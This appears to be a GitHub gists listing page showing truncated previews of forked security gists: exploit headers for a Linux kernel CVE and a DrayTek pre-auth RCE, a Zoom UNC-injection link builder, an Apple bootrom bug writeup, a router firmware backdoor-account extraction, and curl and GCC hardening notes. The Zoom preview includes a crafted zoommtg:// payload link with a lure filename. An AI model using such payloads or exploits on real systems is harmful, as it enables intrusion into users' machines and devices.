infernalheaven’s gists

infernalheaven / cve-2018-5333-poc.c

Created February 10, 2020 21:35 — forked from wbowling/cve-2018-5333-poc.c

Example of using CVE-2019-9213 to make previous kernel bugs exploitable

infernalheaven / curl.md

Created February 12, 2020 14:25 — forked from subfuzion/curl.md

curl POST examples

Common Options

-#, --progress-bar Make curl display a simple progress bar instead of the more informational standard meter.

-b, --cookie <name=data> Supply cookie with request. If no =, then specifies the cookie file to use (see -c).

-c, --cookie-jar <file name> File to save response cookies to.

infernalheaven / CVE-2020-8515.go

Created March 30, 2020 16:13 — forked from 0xsha/CVE-2020-8515.go

CVE-2020-8515: DrayTek pre-auth remote root RCE

	package main


	/*
	CVE-2020-8515: DrayTek pre-auth remote root RCE

	Mon Mar 30 2020 - 0xsha.io


	Affected:

infernalheaven / gd-gif.php

Created April 13, 2020 15:46 — forked from asdqwe3124/gd-gif.php

	<?php

	//php gd-gif.php image.gif gd-image.gif

	$gif = imagecreatefromgif($argv[1]);
	imagegif($gif, $argv[2]);
	imagedestroy($gif);
	?>

infernalheaven / gd-gif.php

Created April 13, 2020 15:46 — forked from asdqwe3124/gd-gif.php

	<?php

	//php gd-gif.php image.gif gd-image.gif

	$gif = imagecreatefromgif($argv[1]);
	imagegif($gif, $argv[2]);
	imagedestroy($gif);
	?>

infernalheaven / converter.js

Created April 13, 2020 19:26

Zoom UNC Injection via Link Previews

	// Usage to build a custom url
	// sabri@localhost Desktop % node converter.js "cmd=sic&type=none&uss=355fed60.8b5mS4m5-EvxX4mpOGePJnqP7eHtppIFCmhYCQWWa8Da49yd91RbLyWP6RwF31vD&cnonce=3YHffyG67M1KfWNLg-JiWofUJJRpcAmCck9W3n0-MKA-&app=chrome&from=meeting&previewUrl=%5C%5C%3F%5CC%3A%5CWindows%5Cexplorer.exe&downloadUrl=%5C%5C%3F%5CC%3A%5CWindows%5Cexplorer.exe&fileName=Click%20for%20me%20%40pwnsdx&fileSize=240&fileId=&thumbnailUrl=https%3A%2F%2Fwww.getdigital.eu%2Fweb%2Fgetdigital%2Fgfx%2Fproducts%2F__generated__resized%2F380x380%2FAufkleber_Trollface.jpg"
	// Your URL is zoommtg://zoom.us/zoom?mcf=0&browser=chrome&confid=Y21kPXNpYyZ0eXBlPW5vbmUmdXNzPTM1NWZlZDYwLjhiNW1TNG01LUV2eFg0bXBPR2VQSm5xUDdlSHRwcElGQ21oWUNRV1dhOERhNDl5ZDkxUmJMeVdQNlJ3RjMxdkQmY25vbmNlPTNZSGZmeUc2N00xS2ZXTkxnLUppV29mVUpKUnBjQW1DY2s5VzNuMC1NS0EtJmFwcD1jaHJvbWUmZnJvbT1tZWV0aW5nJnByZXZpZXdVcmw9JTVDJTVDJTNGJTVDQyUzQSU1Q1dpbmRvd3MlNUNleHBsb3Jlci5leGUmZG93bmxvYWRVcmw9JTVDJTVDJTNGJTVDQyUzQSU1Q1dpbmRvd3MlNUNleHBsb3Jlci5leGUmZmlsZU5hbWU9Q2xpY2slMjBmb3Il

infernalheaven / apollo.txt

Created April 23, 2020 17:32 — forked from littlelailo/apollo.txt

Apple Bootrom Bug

	This bug was also called moonshine in the beginning
	Basically the following bug is present in all bootroms I have looked at:
	1. When usb is started to get an image over dfu, dfu registers an interface to handle all the commands and allocates a buffer for input and output
	2. if you send data to dfu the setup packet is handled by the main code which then calls out to the interface code
	3. the interface code verifies that wLength is shorter than the input output buffer length and if that's the case it updates a pointer passed as an argument with a pointer to the input output buffer
	4. it then returns wLength which is the length it wants to recieve into the buffer
	5. the usb main code then updates a global var with the length and gets ready to recieve the data packages
	6. if a data package is recieved it gets written to the input output buffer via the pointer which was passed as an argument and another global variable is used to keep track of how many bytes were recieved already
	7. if all the data was recieved th

infernalheaven / Vmg3312 B10b Firmware 1.00(AAPP.7) backdoor account

Created April 29, 2020 20:56 — forked from numanturle/Vmg3312 B10b Firmware 1.00(AAPP.7) backdoor account

Vmg3312 B10b Firmware Vmg3312 B10b Firmware backdoor account

	root@bitforbyte:~/xxx# binwalk 100AAPP7D0.bin

	DECIMAL HEXADECIMAL DESCRIPTION
	--------------------------------------------------------------------------------
	131072 0x20000 JFFS2 filesystem, big endian

	JFFS2 filesystem extract

	total 1492
	1049502 drwxr-xr-x 18 root root 4096 Oct 27 23:33 .

infernalheaven / gcc-security.txt

Created May 21, 2020 18:16 — forked from hed0rah/gcc-security.txt

GCC security related flags reference.

	Source material:
	http://security.stackexchange.com/questions/24444/what-is-the-most-hardened-set-of-options-for-gcc-compiling-c-c
	https://wiki.gentoo.org/wiki/Hardened_Gentoo
	https://wiki.debian.org/Hardening

	================================================================================================================>
	GCC Security related flags and options:

	CFLAGS="-fPIE -fstack-protector-all -D_FORTIFY_SOURCE=2"
	LDFLAGS="-Wl,-z,now -Wl,-z,relro"

infernalheaven / gcc-security.txt

Created May 21, 2020 18:17 — forked from hed0rah/gcc-security.txt

GCC security related flags reference.

	Source material:
	http://security.stackexchange.com/questions/24444/what-is-the-most-hardened-set-of-options-for-gcc-compiling-c-c
	https://wiki.gentoo.org/wiki/Hardened_Gentoo
	https://wiki.debian.org/Hardening

	================================================================================================================>
	GCC Security related flags and options:

	CFLAGS="-fPIE -fstack-protector-all -D_FORTIFY_SOURCE=2"
	LDFLAGS="-Wl,-z,now -Wl,-z,relro"